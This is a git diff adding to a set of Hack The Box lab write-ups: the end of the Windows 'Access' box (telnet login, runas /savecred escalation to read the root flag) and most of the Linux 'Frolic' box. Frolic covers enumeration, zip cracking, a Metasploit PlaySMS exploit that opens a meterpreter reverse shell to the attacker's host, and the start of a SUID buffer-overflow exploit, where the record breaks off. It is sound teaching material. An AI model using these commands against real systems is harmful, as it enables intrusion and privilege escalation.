Microsoft Telnet Service + + login: security + password: + + *=============================================================== + Microsoft Telnet Server. + *=============================================================== + C:\Users\security>dir + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users\security + + 08/23/2018 10:52 PM <****DIR> . + 08/23/2018 10:52 PM <****DIR> .. + 08/24/2018 07:37 PM <****DIR> .yawcam + 08/21/2018 10:35 PM <****DIR> Contacts + 08/28/2018 06:51 AM <****DIR> Desktop + 08/21/2018 10:35 PM <****DIR> Documents + 08/21/2018 10:35 PM <****DIR> Downloads + 08/21/2018 10:35 PM <****DIR> Favorites + 08/21/2018 10:35 PM <****DIR> Links + 08/21/2018 10:35 PM <****DIR> Music + 08/21/2018 10:35 PM <****DIR> Pictures + 08/21/2018 10:35 PM <****DIR> Saved Games + 08/21/2018 10:35 PM <****DIR> Searches + 08/24/2018 07:39 PM <****DIR> Videos + 0 File(s) 0 bytes + 14 Dir(s) 16,771,465,216 bytes free + + C:\Users\security> + +and we're in ! We have been to use the aforementionned credentials when we tried to login through the telnet service on port 23. + + + C:\Users\security>cd Desktop + + C:\Users\security\Desktop>type user.txt + ffXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Let's have a look around the telnet service to see what we can work with. + + + C:\Users>dir + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users + + 08/21/2018 10:31 PM <****DIR> . + 08/21/2018 10:31 PM <****DIR> .. + 08/23/2018 11:46 PM <****DIR> Administrator + 07/14/2009 04:57 AM <****DIR> Public + 08/23/2018 10:52 PM <****DIR> security + 0 File(s) 0 bytes + 5 Dir(s) 16,771,461,120 bytes free + + C:\Users>cd Public + + C:\Users\Public>dir + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users\Public + + 07/14/2009 04:57 AM <****DIR> . + 07/14/2009 04:57 AM <****DIR> .. + 07/14/2009 05:06 AM <****DIR> Documents + 07/14/2009 04:57 AM <****DIR> Downloads + 07/14/2009 04:57 AM <****DIR> Music + 07/14/2009 04:57 AM <****DIR> Pictures + 07/14/2009 04:57 AM <****DIR> Videos + 0 File(s) 0 bytes + 7 Dir(s) 16,771,461,120 bytes free + + C:\Users\Public>cd + C:\Users\Public + + C:\Users\Public>dir \a + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\ + + File Not Found + + C:\Users\Public>cd /a + The system cannot find the path specified. + + C:\Users\Public>dir /a + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users\Public + + 07/14/2009 04:57 AM <****DIR> . + 07/14/2009 04:57 AM <****DIR> .. + 08/28/2018 06:51 AM <****DIR> Desktop + 07/14/2009 04:57 AM 174 desktop.ini + 07/14/2009 05:06 AM <****DIR> Documents + 07/14/2009 04:57 AM <****DIR> Downloads + 07/14/2009 02:34 AM <****DIR> Favorites + 07/14/2009 04:57 AM <****DIR> Libraries + 07/14/2009 04:57 AM <****DIR> Music + 07/14/2009 04:57 AM <****DIR> Pictures + 07/14/2009 04:57 AM <****DIR> Videos + 1 File(s) 174 bytes + 10 Dir(s) 16,771,461,120 bytes free + + C:\Users\Public>cd Desktop + + C:\Users\Public\Desktop>dir + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users\Public\Desktop + + 08/22/2018 09:18 PM 1,870 ZKAccess3.5 Security System.lnk + 1 File(s) 1,870 bytes + 0 Dir(s) 16,771,461,120 bytes free + +Looks like we have a shortcut file we can work with, the (lnk) stands for link file. + + + C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk" + L�F�@ ��7���7���#�P/P�O� �:i�+00�/C:\R1M�:Windows��:��M�:*wWindowsV1MV�System32��:��MV�*�System32X2P�:� + runas.exe��:1��:1�*Yrunas.exeL-K��E�C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico�%� + �wN���]N�D.��Q���`�Xaccess�_���8{E�3 + O�j)�H��� + )ΰ[�_���8{E�3 + O�j)�H��� + )ΰ[� ��1SPS�XF�L8C���&�m�e*S-1-5-21-953262931-566350628-63446256-500 + + + +This looks like an attempt at creating a password backup file using the runas command. + + + C:\Users\Public\Desktop>runas /savecred /user:ACCESS\Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Searches\out.txt" + + C:\Users\Public\Desktop>type out.txt + The system cannot find the file specified. + + C:\Users\Public\Desktop>dir + Volume in drive C has no label. + Volume Serial Number is 9C45-DBF0 + + Directory of C:\Users\Public\Desktop + + 08/22/2018 09:18 PM 1,870 ZKAccess3.5 Security System.lnk + 1 File(s) 1,870 bytes + 0 Dir(s) 16,771,452,928 bytes free + + C:\Users\Public\Desktop>cd .. + + C:\Users\Public>cd .. + + C:\Users>cd Security + + C:\Users\security>cd Searches + + C:\Users\security\Searches>type out.txt + + 6eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/22_graph.png) + diff --git a/Easy/23.md b/Easy/23.md new file mode 100644 index 0000000..0e6e734 --- /dev/null +++ b/Easy/23.md @@ -0,0 +1,802 @@ +# Frolic Writeup + +![](img/23.png) + +## Introduction : + +Frolic is an easy Linux box released back in October 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → nmap -F 10.10.10.111 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-04 10:29 CET + Nmap scan report for 10.10.10.111 + Host is up (0.062s latency). + Not shown: 96 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 139/tcp open netbios-ssn + 445/tcp open microsoft-ds + 9999/tcp open abyss + + Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + →nmap -sC -sV 10.10.10.111 -p 22,139,445,9999 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-04 10:29 CET + Nmap scan report for 10.10.10.111 + Host is up (0.066s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) + | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) + |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) + 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) + 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) + 9999/tcp open http nginx 1.10.3 (Ubuntu) + |_http-server-header: nginx/1.10.3 (Ubuntu) + |_http-title: Welcome to nginx! + Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Host script results: + |_clock-skew: mean: -1h49m30s, deviation: 3h10m30s, median: 28s + |_nbstat: NetBIOS name: FROLIC, NetBIOS user: <****unknown>, NetBIOS MAC: <****unknown> (unknown) + | smb-os-discovery: + | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) + | Computer name: frolic + | NetBIOS computer name: FROLIC\x00 + | Domain name: \x00 + | FQDN: frolic + |_ System time: 2019-12-04T15:00:07+05:30 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2019-12-04T09:30:07 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds + +## **Part 2 : Getting User Access** + +Our nmap picked up a nginx service running on port 9999. Let's run the dirsearch command with the -r -e -t and -x flags. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → dirsearch -u http://10.10.10.111:9999/ -r -e php -t 50 -x 403 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php | HTTP method: get | Threads: 50 | Wordlist size: 6027 | Recursion level: 1 + + Error Log: /home/nihilist/.dirsearch/logs/errors-19-12-05_09-16-15.log + + Target: http://10.10.10.111:9999/ + + [09:16:16] Starting: + [09:16:16] 400 - 182B - /%2e%2e/google.com + [09:16:19] 301 - 194B - /admin -> http://10.10.10.111:9999/admin/ + [09:16:19] 200 - 634B - /admin/ + [09:16:19] 200 - 634B - /admin/?/login + [09:16:19] 200 - 634B - /admin/index.md + [09:16:22] 301 - 194B - /backup -> http://10.10.10.111:9999/backup/ + [09:16:22] 200 - 28B - /backup/ + [09:16:24] 301 - 194B - /dev -> http://10.10.10.111:9999/dev/ + [09:16:32] 301 - 194B - /test -> http://10.10.10.111:9999/test/ + [09:16:32] 200 - 83KB - /test/ + [09:16:33] Starting: admin/ + [09:16:41] 301 - 194B - /admin/css -> http://10.10.10.111:9999/admin/css/ + [09:16:44] 200 - 634B - /admin/index.md + [09:16:44] 301 - 194B - /admin/js -> http://10.10.10.111:9999/admin/js/ + [09:16:51] Starting: backup/ + [09:17:02] 200 - 28B - /backup/index.php + [09:17:04] 200 - 22B - /backup/password.txt + [09:17:08] 200 - 13B - /backup/user.txt + [09:17:09] Starting: dev/ + [09:17:15] 301 - 194B - /dev/backup -> http://10.10.10.111:9999/dev/backup/ + [09:17:15] 200 - 11B - /dev/backup/ + [09:17:26] 200 - 5B - /dev/test + [09:17:27] Starting: test/ + [09:17:38] 200 - 83KB - /test/index.php + [09:17:46] Starting: css/ + [09:18:04] Starting: js/ + + Task Completed + + + +Dirsearch seems to have found the /admin/ folder. + +![](prg/23_001.png) ![](prg/23_002.png) + +Looking at the sourcecode of that page, it seems to be calling the js/login.js script. So let's browse to it to see what we get. We will be using the curl command along with the -s and -k flags. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → curl -sk http://10.10.10.111:9999/admin/js/login.js + var attempt = 3; // Variable to count number of attempts. + // Below function Executes on click of login button. + function validate(){ + var username = document.getElementById("username").value; + var password = document.getElementById("password").value; + if ( username == "admin" && password == "superduperlooperpassword_lol"){ + alert ("Login successfully"); + window.location = "success.html"; // Redirecting to other page. + return false; + } + else{ + attempt --;// Decrementing by one. + alert("You have left "+attempt+" attempt;"); + // Disabling fields after 3 attempts. + if( attempt == 0){ + document.getElementById("username").disabled = true; + document.getElementById("password").disabled = true; + document.getElementById("submit").disabled = true; + return false; + } + } + } + + +It seems that the javascript would redirect the user to yet another page which is success.html + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → curl -sk http://10.10.10.111:9999/admin/success.html + ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... + ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... + ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... + ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! + !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... + ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. + ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... + ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... + ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! + !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! + !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! + .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. + !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. + ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? + !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! + !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! + !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... + ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! + !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! + !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... + ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... + ..!.! !!!!! !.?. + + + +browsing to it we seem to get an [Ook!](https://www.dcode.fr/ook-language) encoded string. Decoding the string seems to show up the message **"Nothing here check /asdiSIAJJ0QWE9JAS"** So we will browse to it to see what we can work with. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ + UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB + BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs + K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve + EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj + lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC + AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG + AAAAAAEAAQBPAAAAAwEAAAAA + + +Seems like we have a base64 string here, so we will pipe it into the base64 decoding command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d + PK É7M#�[�i index.phpUT �|�[�|�[ux + ^D�J�s�h�)�P�n + ��Ss�Jw�܎�4��ُk�z��UȖ�+X��P��ᶇ��л�x_�N�[���S��8����J2S�*�DЍ}�8dTQk������j_�����'xc��ݏt��75Q� + ���k,4��b)�4F�� ��������&q2o;�WԜ�9P#�[�iPK É7M#�[�i ��index.phpUT�|�[ux + PKO% + + + +Even weirder ! It seems to have taken a binary form. so we will save it locally and check what filetype it is. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > unknown_file + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → file unknown_file + unknown_file: Zip archive data, at least v2.0 to extract + + + +So we have a zipfile to work with ! Let's give it it's appropriate extension and try to extract it once we find it's password using fcrackzip. We will be using the rockyou.txt wordlist to see if the password of that zip file is publicly known. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → curl -sk https://www.scrapmaker.com/data/wordlists/dictionaries/rockyou.txt > rockyou.txt + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → ls -l + total 136648 + -rw-r--r-- 1 nihilist users 139921497 Dec 5 09:53 rockyou.txt + -rw-r--r-- 1 nihilist users 360 Dec 5 09:45 zipfile.zip + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → fcrackzip --help + + fcrackzip version 1.0, a fast/free zip password cracker + written by Marc Lehmann <****pcg@goof.com> You can find more info on + http://www.goof.com/pcg/marc/ + + USAGE: fcrackzip + [-b|--brute-force] use brute force algorithm + [-D|--dictionary] use a dictionary + [-B|--benchmark] execute a small benchmark + [-c|--charset characterset] use characters from charset + [-h|--help] show this message + [--version] show the version of this program + [-V|--validate] sanity-check the algortihm + [-v|--verbose] be more verbose + [-p|--init-password string] use string as initial password/file + [-l|--length min-max] check password with length min to max + [-u|--use-unzip] use unzip to weed out wrong passwords + [-m|--method num] use method number "num" (see below) + [-2|--modulo r/m] only calculcate 1/m of the password + file... the zipfiles to crack + + methods compiled in (* = default): + + 0: cpmask + 1: zip1 + *2: zip2, USE_MULT_TAB + +we will be using the zip password cracking tool with the -u , -D and -p flags. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → fcrackzip -u -D -p rockyou.txt zipfile.zip + + + PASSWORD FOUND!!!!: pw == password + + +It was short ! now we can extract the zip file contents with the 7z command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → 7z x zipfile.zip -ppassword + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 360 bytes (1 KiB) + + Extracting archive: zipfile.zip + -- + Path = zipfile.zip + Type = zip + Physical Size = 360 + + + Would you like to replace the existing file: + Path: ./index.php + Size: 0 bytes + Modified: 2018-09-23 12:44:05 + with the file from archive: + Path: index.php + Size: 617 bytes (1 KiB) + Modified: 2018-09-23 12:44:05 + ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y + + Everything is Ok + + Size: 617 + Compressed: 360 + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → ls + index.php rockyou.txt zipfile.zip + + + +It contained a php file named "index" , let's see what we can do with it. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → cat index.php + 4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a + + +The contents of index.php seems to contain a hexadecimal encoded string. we will pipe the output of the cat command into the xxd command with the -r and -p flags. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → cat index.php | xxd -r -p + KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr + KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg + K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t + LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg== + + +Looking at the results, we seem to have a base64 encoded string. we will pipe the output of the 2 previous commands into the base64 command with the -d flag. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → cat index.php | xxd -r -p | base64 -d + +++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+base64: invalid input + + +Seems to be a brainfuck string ! however base64 doesn't like getting piped non-alphabet charcaters such as the endline special charcater, so we add the -i flag to bypass them. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → cat index.php |xxd -r -p | base64 -d -i + +++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+ + ++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->--- + <]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]> + ++..< + + +Now that we have our full brainfuck encoded message , we will decode it using a brainfuck [interpreter](https://sange.fi/esoteric/brainfuck/impl/interp/i.html). + +![](prg/23_003.png) + +Now we have a password we could work with ! Although we do not know where yet. Looking back at our dirsearch results we see that there the /dev/backup folder. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → curl -sk http://10.10.10.111:9999/dev/backup/ + /playsms + + +Yet another page ! let's browse to /playsms to see what we can work with. + +![](prg/23_004.png) + +Seems like we have a login page ! let's test our "idkwhatispass" password with something trivial like root or admin + +![](prg/23_005.png) ![](prg/23_006.png) + +Using the admin:idkwhatispass credentials, we have been able to log in ! We run a quick searchsploit command to see what exploits may be available for the playsms webservice + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → searchsploit playsms + ---------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ---------------------------------------------------- ---------------------------------------- + PlaySMS - 'import.php' (Authenticated) CSV File Upl | exploits/php/remote/44598.rb + PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execu | exploits/php/webapps/42003.txt + PlaySMS 1.4 - 'import.php' Remote Code Execution | exploits/php/webapps/42044.txt + PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenti | exploits/php/remote/44599.rb + PlaySMS 1.4 - Remote Code Execution | exploits/php/webapps/42038.txt + PlaySms 0.7 - SQL Injection | exploits/linux/remote/404.pl + PlaySms 0.8 - 'index.php' Cross-Site Scripting | exploits/php/webapps/26871.txt + PlaySms 0.9.3 - Multiple Local/Remote File Inclusio | exploits/php/webapps/7687.txt + PlaySms 0.9.5.2 - Remote File Inclusion | exploits/php/webapps/17792.txt + PlaySms 0.9.9.2 - Cross-Site Request Forgery | exploits/php/webapps/30177.txt + ---------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +It seems like we may be able to use a metasploit module to get onto the machine, let's fire up msfconsole and see what we could potentially work with. + + + msf5 > search playsms + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/multi/http/playsms_filename_exec 2017-05-21 excellent Yes PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution + 1 exploit/multi/http/playsms_uploadcsv_exec 2017-05-21 excellent Yes PlaySMS import.php Authenticated CSV File Upload Code Execution + + + msf5 > + + + + msf5 > use multi/http/playsms_uploadcsv_exec + msf5 exploit(multi/http/playsms_uploadcsv_exec) > show options + + Module options (exploit/multi/http/playsms_uploadcsv_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base playsms directory path + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + + Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 PlaySMS 1.4 + + + +Seems like we have to set the rhost, lhost, rport, targeturi and password options. + + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111 + rhosts => 10.10.10.111 + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.14.48 + lhost => 10.10.14.48 + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999 + rport => 9999 + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms/ + targeturi => /playsms/ + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass + password => idkwhatispass + + msf5 exploit(multi/http/playsms_uploadcsv_exec) > exploit + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [+] Authentication successful: admin:idkwhatispass + [*] Sending stage (38288 bytes) to 10.10.10.111 + [*] Meterpreter session 1 opened (10.10.14.48:4444 -> 10.10.10.111:41616) at 2019-12-05 11:04:30 +0100 + + meterpreter > sysinfo + Computer : frolic + OS : Linux frolic 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 i686 + Meterpreter : php/linux + + +it worked ! we have a meterpreter session onto the linux box. Let's create a shell and see if we can print out the user flag. + + + + meterpreter > shell + Process 24934 created. + Channel 0 created. + whoami + www-data + + cd ../../../../home + + ls + ayush + sahay + + cd ayush + + ls + user.txt + + cat user.txt + 2aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag ! + +## **Part 3 : Getting Root Access** + +Now in order to elevate our shell to administrating privileges, we first have to find binary files with the SUID bit active.$ + + + find / -perm -4000 2>/dev/null + /sbin/mount.cifs + /bin/mount + /bin/ping6 + /bin/fusermount + /bin/ping + /bin/umount + /bin/su + /bin/ntfs-3g + + **/home/ayush/.binary/rop** + + /usr/bin/passwd + /usr/bin/gpasswd + /usr/bin/newgrp + /usr/bin/newuidmap + /usr/bin/pkexec + /usr/bin/at + /usr/bin/sudo + /usr/bin/newgidmap + /usr/bin/chsh + + + +There seems to be something interesting in /home/ayush/.binary/rop ! Let's first spawn a TTY Shell , then see what we can work with in the .binary directory + + + python -c 'import pty; pty.spawn("/bin/sh")' + $ cd /home/ayush + cd ayush + + $ ls -la + ls -la + total 36 + drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 . + drwxr-xr-x 4 root root 4096 Sep 23 2018 .. + -rw------- 1 ayush ayush 2781 Sep 25 2018 .bash_history + -rw-r--r-- 1 ayush ayush 220 Sep 23 2018 .bash_logout + -rw-r--r-- 1 ayush ayush 3771 Sep 23 2018 .bashrc + drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 .binary + -rw-r--r-- 1 ayush ayush 655 Sep 23 2018 .profile + -rw------- 1 ayush ayush 965 Sep 25 2018 .viminfo + -rwxr-xr-x 1 ayush ayush 33 Sep 25 2018 user.txt + + $ cd .binary + cd .binary + + $ ls + ls + rop + + $ ls -la + ls -la + total 16 + drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 . + drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 .. + -rwsr-xr-x 1 root root 7480 Sep 25 2018 rop + + $ ./rop + ./rop + [*] Usage: program <****message> + + $ ./rop nihilist + ./rop nihilist + [+] Message sent: nihilist$ + + $ ./rop 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 + ./rop 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 + Segmentation fault (core dumped) + + $ cat /proc/sys/kernel/randomize_va_space + cat /proc/sys/kernel/randomize_va_space + 0 + +As you can see, the rop binary possess root privileges, and it seems that there may be a buffer overflow vulnerability that we can work with. Also note that ASLR is disabled (0) on the machine which means that the buffer overflow vuln could potentially give us a privilege escalation. let's download the rop binary locally first, we will simply use python's SimpleHTTPServer that is present on the machine in combination with wget on our local machine. + +_Terminal 1:_ + + + $ ls + ls + rop + + $ python -m SimpleHTTPServer + python -m SimpleHTTPServer + Serving HTTP on 0.0.0.0 port 8000 ... + + 10.10.14.48 - - [05/Dec/2019 15:53:19] "GET /rop HTTP/1.1" 200 + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → wget 10.10.10.111:8000/rop + --2019-12-05 11:22:47-- http://10.10.10.111:8000/rop + Connecting to 10.10.10.111:8000... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7480 (7.3K) [application/octet-stream] + Saving to: ‘rop’ + + rop 100%[==============================================>] 7.30K --.-KB/s in 0s + + 2019-12-05 11:22:47 (171 MB/s) - ‘rop’ saved [7480/7480] + + +Now that we have the binary saved locally, let's see what we can do with it. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → locate pattern_create + /opt/metasploit/.tools/exploit/pattern_create.rb + /opt/metasploit/tools/exploit/pattern_create.rb + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → /opt/metasploit/tools/exploit/pattern_create.rb -l 128 + WARNING: Nokogiri was built against LibXML version 2.9.9, but has dynamically loaded 2.9.10 + Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae + + +Now that we have + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → gdb -q rop + GEF for linux ready, type `gef' to start, `gef config' to configure + 79 commands loaded for GDB 8.3.1 using Python engine 